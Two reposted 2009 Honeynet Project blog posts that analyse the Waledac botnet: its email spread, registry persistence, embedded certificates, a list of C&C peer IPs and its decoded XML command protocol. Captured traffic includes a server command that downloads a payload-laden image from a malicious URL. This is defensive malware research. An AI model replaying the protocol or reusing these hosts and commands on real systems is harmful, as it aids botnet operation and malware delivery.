來自：http://www.honeynet.org/node/325
第一部分：
**********************************************************************
Fri, 01/02/2009 - 07:16 — felix.leder
Waledac is wishing merry christmas
There is a new bot in town. It's called Waledac. The way it is spreading reminds a lot of people of the good old storm botnet: An email is sent containing a "christmas card" in form of the executable "postcard.exe".
A preliminary view on the binary has been given by the Shadowserver guys (Steve Adair).
I had the chance to have a first look at the binary (MD5 ccddda141a19d693ad9cb206f2ae0de9) and want to note down some of my few findings to let the hunt begin.
Some first details
Clicking on the executable installs it in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run with key "PromoReg" (similar to Storm). Unlike storm, the binary is not using GetWindowsDirectory() and CopyFileA() to copy itself to the Windows Directory.
The binary contains a statically linked-in version of openssl 0.9.8e.
As described by Steven, there is a 1024 bit RSA certificate inside the binary. Upon execution, another certificate appears:
Certificate:
Data:
Version: 3 (0x2)
Serial Number: 0 (0x0)
Signature Algorithm: md5WithRSAEncryption
Issuer: C=UK, CN=OpenSSL Group
Validity
Not Before: Jan 2 04:24:10 2009 GMT
Not After : Jan 2 04:24:10 2010 GMT
Subject: C=UK, CN=OpenSSL Group
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
RSA Public Key: (1024 bit)
Modulus (1024 bit):
00:d4:5a:7d:1f:bc:20:99:f4:77:6a:0a:04:25:ca:
71:29:59:3d:8d:61:c8:0e:9f:a2:c1:74:d8:6b:5f:
e7:7b:47:13:d2:c1:9e:b0:c6:44:6d:21:9d:31:67:
7e:86:43:c2:b4:fe:42:fb:27:fd:04:95:03:bb:d3:
43:82:ca:6a:47:b7:fd:de:bf:a9:ea:71:ed:5e:69:
3c:0b:53:fa:a4:d4:50:87:ed:5d:02:73:4e:47:a4:
a8:5e:ab:0c:fd:01:3c:5e:15:05:22:c4:63:f6:a6:
24:76:99:27:2a:e7:93:27:ad:b7:fd:1c:0f:e3:85:
f0:d8:c8:39:32:11:c8:41:19
Exponent: 65537 (0x10001)
Signature Algorithm: md5WithRSAEncryption
2e:e3:f8:b4:0d:ee:58:6e:25:51:12:9a:3e:4d:62:6b:c8:e6:
d8:aa:83:19:f7:64:7e:02:45:ff:00:b0:82:3d:42:1a:61:78:
67:0c:44:f9:bb:02:da:bd:6e:e4:45:dd:af:02:4e:70:62:41:
ef:81:67:17:a8:6c:41:92:a5:20:41:ee:e6:5b:38:22:b4:41:
26:de:f0:ec:2d:2c:e5:56:d4:05:22:40:bb:64:3d:ce:a4:c8:
dd:76:b6:23:b8:2b:69:14:af:70:10:d8:7b:03:f6:b8:c2:90:
02:94:14:18:99:4d:cb:6e:8a:7a:71:49:05:b1:b9:2f:dc:0e:
b1:c7
-----BEGIN CERTIFICATE-----
MIIBvjCCASegAwIBAgIBADANBgkqhkiG9w0BAQQFADAlMQswCQYDVQQGEwJVSzEW
MBQGA1UEAxMNT3BlblNTTCBHcm91cDAeFw0wOTAxMDIwNDI0MTBaFw0xMDAxMDIw
NDI0MTBaMCUxCzAJBgNVBAYTAlVLMRYwFAYDVQQDEw1PcGVuU1NMIEdyb3VwMIGf
MA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDUWn0fvCCZ9HdqCgQlynEpWT2NYcgO
n6LBdNhrX+d7RxPSwZ6wxkRtIZ0xZ36GQ8K0/kL7J/0ElQO700OCympHt/3ev6nq
ce1eaTwLU/qk1FCH7V0Cc05HpKheqwz9ATxeFQUixGP2piR2mScq55Mnrbf9HA/j
hfDYyDkyEchBGQIDAQABMA0GCSqGSIb3DQEBBAUAA4GBAC7j+LQN7lhuJVESmj5N
YmvI5tiqgxn3ZH4CRf8AsII9QhpheGcMRPm7Atq9buRF3a8CTnBiQe+BZxeobEGS
pSBB7uZbOCK0QSbe8OwtLOVW1AUiQLtkPc6kyN12tiO4K2kUr3AQ2HsD9rjCkAKU
FBiZTctuinpxSQWxuS/cDrHH
-----END CERTIFICATE-----
In addition, an XML list of peers is created from information inside the binary. Those servers are tried to connect to in order to receive commands. Whether those are fast-flux entry points or a fixed set of masters has to be investigated:
<lm>
<localtime>
1230860545</localtime>
<nodes>
<node ip="116.74.182.106" port="80" time="1230860545">
3667c04b3e3220425709494c1d02534b</node>
<node ip="118.39.143.108" port="80" time="1230860545">
462ec931ec096f2b4f13e4573a31e51c</node>
<node ip="118.39.80.191" port="80" time="1230860545">
07585758b27f2a0fd61488598274cf69</node>
<node ip="121.245.78.171" port="80" time="1230860545">
ff2ce82f9c506544cf30f1775a12e274</node>
<node ip="124.125.243.166" port="80" time="1230860545">
813bc91cd914e21a4b38f02215665d70</node>
<node ip="124.168.178.109" port="80" time="1230860545">
2a77b861733a813848710e0ba21aa119</node>
<node ip="124.49.43.93" port="80" time="1230860545">
1f24203ed1254c35233cf72ce11aa55e</node>
<node ip="132.208.65.222" port="80" time="1230860545">
ef56943d6972c9367b29a01872216940</node>
<node ip="137.224.219.36" port="80" time="1230860545">
47323d5b186f8211c7311d169946dd55</node>
<node ip="208.96.18.58" port="80" time="1230860545">
9b35c94714342118db7cf638fd2e5552</node>
<node ip="216.198.166.33" port="80" time="1230860545">
07700c2c35117f15032f406a5c700309</node>
<node ip="217.146.214.79" port="80" time="1230860545">
9237133ff5574f4bb012ef05fe069a0e</node>
<node ip="217.201.15.160" port="80" time="1230860545">
4c5db625782a0efd18727c1e32014802</node>
<node ip="24.3.116.21" port="80" time="1230860545">
89618316680f6c32b160a40e7a1e1a16</node>
<node ip="41.243.243.130" port="80" time="1230860545">
6a122f712536e65d67738b7a5804b766</node>
<node ip="69.138.180.170" port="80" time="1230860545">
b7388c214536e0386e23952ede063942</node>
<node ip="69.146.240.244" port="80" time="1230860545">
71706d65de370d61f12522706578c856</node>
<node ip="69.208.138.208" port="80" time="1230860545">
7a41632dcd4cca01163398504c3d355b</node>
<node ip="69.5.130.53" port="80" time="1230860545">
fc6fdd5cad125363ce2408698559fb0a</node>
<node ip="70.133.5.205" port="80" time="1230860545">
433d3a1d9b38971d754ed64c704d5f0c</node>
<node ip="71.137.148.40" port="80" time="1230860545">
bb1785774d0dee12c939f03788570c14</node>
<node ip="76.15.142.224" port="80" time="1230860545">
2a569b39ad3774479d3053488c710027</node>
<node ip="76.179.96.13" port="80" time="1230860545">
166f3053823558076379cc366325d500</node>
<node ip="76.93.233.117" port="80" time="1230860545">
5a6f004ee808945d9771e8589a6c8679</node>
<node ip="77.67.178.4" port="80" time="1230860545">
8b5ef420d072a76acc508f331e119b56</node>
<node ip="80.108.84.29" port="80" time="1230860545">
1449bf3286594c715b1ffd27d83c777c</node>
<node ip="82.215.33.236" port="80" time="1230860545">
611230634d7b4b6a8132be281e6ea727</node>
<node ip="82.237.204.19" port="80" time="1230860545">
a74397669e25371fd1438741c9660239</node>
<node ip="82.244.71.151" port="80" time="1230860545">
be24a90777384e7b364da57993790967</node>
<node ip="82.253.169.158" port="80" time="1230860545">
9752103e7c7b634d1a5ce279357de76d</node>
<node ip="83.31.110.103" port="80" time="1230860545">
f1190b34d92b0f62c1561b226c354d06</node>
<node ip="84.110.70.89" port="80" time="1230860545">
f662d8381d73802bf23b3e50242b0759</node>
<node ip="84.16.228.132" port="80" time="1230860545">
33a4c14ed5b99a93d9051e861950c95b</node>
<node ip="85.193.239.121" port="80" time="1230860545">
14202543682ca91f7505596f09125532</node>
<node ip="85.236.1.130" port="80" time="1230860545">
0f71405a4f7e324483290e2da43e2f51</node>
<node ip="85.251.12.242" port="80" time="1230860545">
1c318474a138ba30cd6c6b363e5f2d16</node>
<node ip="86.100.226.117" port="80" time="1230860545">
004f4961746991194d5e11444f1da33e</node>
<node ip="86.13.150.130" port="80" time="1230860545">
8b47ea6b1c1407047241a24ded57e877</node>
<node ip="87.206.73.25" port="80" time="1230860545">
603a9815a3265a5be355b06bbe6b2472</node>
<node ip="87.207.85.117" port="80" time="1230860545">
8a7a45793173c822e17c2c31f614494e</node>
<node ip="87.251.98.64" port="80" time="1230860545">
5b1c606365760c04214a3121c47cb571</node>
<node ip="87.69.85.8" port="80" time="1230860545">
052565171d731c7ba136b95ae836a623</node>
<node ip="88.180.152.39" port="80" time="1230860545">
a94cd3032818e00f0124726991780d3e</node>
<node ip="88.216.100.151" port="80" time="1230860545">
fd311017074bc00e2b49db5be625a029</node>
<node ip="89.117.107.65" port="80" time="1230860545">
7f57cb67286efd59ab6b4b01df417817</node>
<node ip="89.125.45.2" port="80" time="1230860545">
042b4f5958617245b145be1be83f6c20</node>
<node ip="89.162.165.122" port="80" time="1230860545">
06215f44631b1d7ecf5d8f297b3e212d</node>
<node ip="89.231.78.249" port="80" time="1230860545">
eb659619f276350512797a4c78644d48</node>
<node ip="89.76.120.87" port="80" time="1230860545">
bb3f8f764e7ace1fc560687e1b659d0e</node>
<node ip="98.223.55.14" port="80" time="1230860545">
2854d3306139781b9d3be41a1645d918</node>
</nodes>
</lm>
Infos from the inside
Unpacking is fairly easy. The code is encrypted/encoded inside the code section (this was a lot different in storm). After reaching the following address, everything can be dumped.
The request to the server is created at address 0x408b41 and send out at 0x408d25 using regular Windows HTTP API calls, like InternetOpenA, InternetConnectA, HTTPOpenRequest, InternetReadFile, ....
The Bot scans all files on the harddrive. Don't know for what, yet. The files are opened at 0x404c80
At 0x4A5575 and 0x4A5594 Windows Console input and output are opened (CreateFile() to CONIN$ and CONOUT$). A closer look on what this is for is still to be done...
More details and code sequences will follow.
Storm v2?
The inside does not look like storm at all. Nearly no common API calls (e.g. different heap allocation) and structure seems to be different. Installation is different (e.g. no copy to windows directory).
There is one similarity I found: Both storm and Waledac are using a=...&b=... as HTTP Post parameters. (But this is straight forward, isn't it?)
- Waledac
- felix.leder's blog
第二部分：
**********************************************************************
http://www.honeynet.org/node/348
While it seems to be impossible to say whether waledac is the successor of storm or not, what we can do is take a look at the traffic encryption. They guys over at Shadowserver have already blogged some details about this. We at the Giraffe Chapterinvestigated waledac's communication protocol further. Here are our results.
Waledac uses regular HTTP request to transmit command requests and to retrieve responses. It uses HTTP fast-flux proxies to hide the true origin of the command&control (C&C) server. Due to the fact that the regular Windows HTTP API (
WinINet
) is used, the traffic is hard to differentiate from regular HTTP traffic. Furthermore, it even allows Waledac to use proxy servers after the user has generally authenticated. The requests use POST and encrypted + encoded payload data:
POST /fkuxmdptyjga.png HTTP/1.1
Referer: Mozilla
Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla
Host: 93.152.147.192
Content-Length: 957
Cache-Control: no-cache
a=_wAAArey4UgPCbKuN9ZgHBkYoPdoaWn0dw51xJClwDdO5bC6BkzuPHFhlrcJrwRxAf2xSZODFj7s97WqzKpkm2PS9P558QkFULZdu0evXky8d3anbYpDYn7fn5FvxIIeHejPsiJAYDv2EyekM2-JBgvnxSlMIr-4oQHiD6v9Tny8TxrtINu8MQ9tBXVSuxEiflMi2r-_8LqAdWpufsG0drou6eBXaUzT32z3oBjUbi1O47EqyWqNqw6cxijxC1jAcRhSFGrd-88wVqLutt6mSGZlRzAxB-2KspmEE0RyjfrEdNNhHNwWoZbLGosUFpiwC1hPBW8k2w1rqlVb08jZCMxtqu4cK5OWV-8sWZ4D0MSfM1uzLy-F4CnOUj0x61sMHEiIk2E7ZyLvDb-MNm4LeTKgNSPKO9QHo_29JsdIaH7D0ePXvCeAyAePYMfK-dN2KC3rruFNwd_VnYLGfrZ-5RTQk3UfDYIaPk1f9fDsojTyE1ffPl-rD3PpxdsnzA2BNyviWL9zaLYqqJKxq-WsmUyWKXQwRZx5tzTUVSfCSryQ5dWD67mMLDdoaRqQoeOF9cgiJ9zmO4kDkx39GwGN_MuhWhPkeFa1ExqlhkHh9ahc5cDW63mk73KCe2hdqwANdWtgqLujUsaB0BcifLENVJYxUCYnBXsAUAw5iitAbigZwBegODMXtXYln8VDpc3qX8nilIk0DUvZZLDnAPNbePQFKOMak2AV33BbLlk2C3NfwEqUotDpE-7SRIh1JPPAC4Ig04sW2hYDDQXG-PmIrs2W9rXey4pupbbTpSC2ZMJZlhfaSoqpkkzTYlMZG6dvMgm_4kI98YqLOC1XR5nVQrF944NklMDC7yZn5QFgjkeFaUMLOOmeOvXJ9nAPI5RYkZFheybkiKDc3IoMmjoa4h0nOHsod3-gTIWcZgp7Zhcxwc8DFg&b=AAAAAA
Waledac relies on up-to-date encryption technologies, like e.g., RSA. We reverse engineered important parts of the traffic encryption engine inside the executable and extracted the important encoding and decoding parts. This enables us to read Waledac traffic. Thanks to Greg Sinclair, a design fault has been found that allows a fast crypto attack and offline decoding. We have developed a traffic decoder that has been used to gather information about the C&C protocol underneath.
1st Stage: Waledac handshake
The first request is of type
0xff
and is used to exchange encryption keys between the infected node and the botnet master. The traffic is nicely formatted using XML. Each request and response start with "
lm
" and a command enclosed in "
t
"-tags. The "
v
"-tag holds the protocol version, which varies among different generations of waledac binaries. The "
i
"-tag uniquely identifies the infected node and stays the same after reboots. Here is the decoding of the message from above:
Type: 0xff
Length: 695
<lm><t>getkey</t><v>27</v><i>3d08552f660a522ca300201b4c740e62</i><r>0</r><props><p n="cert">-----BEGIN CERTIFICATE-----
MIIBvjCCASegAwIBAgIBADANBgkqhkiG9w0BAQQFADAlMQswCQYDVQQGEwJVSzEW MBQGA1UEAxMNT3BlblNTTCBHcm91cDAeFw0wOTAxMjcxOTUyMTJaFw0xMDAxMjcx OTUyMTJaMCUxCzAJBgNVBAYTAlVLMRYwFAYDVQQDEw1PcGVuU1NMIEdyb3VwMIGf MA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC4Y00pilCs8lelq1WKagV00LKFPaQI l0oeVOb3oqStzbMrjz+QDCn8dULGGLCErUcndInZ2vNx/dXZLEjJIvpPjKPsBitY Tp5STzK4Z5E2fYfP3Usoei6dFv3uynrfP38jn6z08mharGyx/07AISD0TIkpcTMC gYAzJsYk+rNmOwIDAQABMA0GCSqGSIb3DQEBBAUAA4GBALHhri4p4umHYLIOqAwi +T7WKdp4M7zhtj8Gozt/LjQCCw2DlDL0SHDRwSdN2L5MiCMPFzYWGiSRrzftB4dI INOVF8W4eP18urV7yBDA17Apew8npsOt4g7rR+5GZfppH2CXsWH78HaSiOZ0ca0h
vzaFmxy8dze7Q/B5+CwIUVBg
-----END CERTIFICATE-----
</p></props></lm>
As we can see, for the handshake, the
getkey
command is issued. The payload contains an X.509 certificate that holds a self-signed version of the node's public key. It is always generated on the fly even though containing a validity of one year. Details about the certificate can be found here.
The response looks very similar. Version and command tags are duplicated. Instead of the certificate, a base64 encoded session key is exchanged that is encrypted using the RSA key contained in the request's certificate. This session key is then used for all subsequent C&C traffic.
Type: 0xff
Length: 264
<lm><v>27</v><t>getkey</t><props><p n="key">ccyRiwhtHQyryTh4oDjuvZzUUojo1bmxEo6I8S7XnsonuVndEswma6Syd0/b48uaZdDl8r4F/9m5xBxJYrtyvjmkMUrhtfXQw9PnoP9ESREUmFxnq5YpXaHdgm6OnaLU0BooXbBUyJ9jhum+g0ABhICDyxh7qU2eBkXMwRoiZvY=</p></props></lm>
2nd Stage: Staying up to date
After a successfull handshake, waledac zombies issue a
notify
request containing an entity to contact, like e.g., "
mirabella_site
". Information about the host's clock is also included, possibly for time synchronization:
Type: 0x2
Length: 229
<lm><t>notify</t><v>27</v><i>2efd78765123abbadc0ded00deadbeef</i><r>0</r><props><p n="label">mirabella_site</p><p n="time_init">Tue Jan 27 20:52:12 2009
</p><p n="time_now">Tue Jan 27 20:53:43 2009
</p><p n="time_sys">Tue Jan 27 20:53:44 2009
</p><p n="time_ticks">79172453</p></props></lm>
The next reponse contains a lot of information: The node's external ip-address and hostname together with a special DNS IP and SMTP address. Both are not related to the node's IP address, but probably related to the fast-flux and spamming engine. In this case the DNS IP address belongs to an open DNS server in the US, the SMTP IP address points to an SMTP server atGoogle:
Type: 0x2
Length: 337
<lm><v>27</v><t>notify</t><props><p n="ptr">bonn-007.pool.t-online.de</p><p n="ip">93.137.206.86</p><p n="dns_ip">216.195.100.100</p><p n="smtp_ip">209.85.201.114</p><p n="http_cache_timeout">3600</p><p n="sender_threads">35</p><p n="sender_queue">2000</p><pn="short_logs">true</p><p n="commands"><![CDATA[312|download|http://orldlovelife.com/mon.jpg
]]></p></props><dns_zones></dns_zones><dns_hosts></dns_hosts><socks5></socks5><dos></dos><filter></filter></lm>
Very interesting are the "
dos
"-tags (denial of service?), and the commands attribute. The "
p
"-tag, in this case, contains an "
update
" command that results in the download of a picture of the Governor of California shown below. Besides the real image data, it carries additional data piggybacked that is to be executed on the node. This additional data is actually a Windows PE file, ecnrypted with a static key. We have observed several such updates, all with varying executables.
We are not done with our investigations, yet. And there are still a lot of open question. We will keep you up to date here. Other interesting commands, like the following, are likely to come:And the story continues...
Type: 0x3
Length: 109
<lm><t>taskreq</t><v>27</v><i>2efd78765123abbadc0ded00deadbeef</i><r>0</r><props></props></lm>
Stay tuned!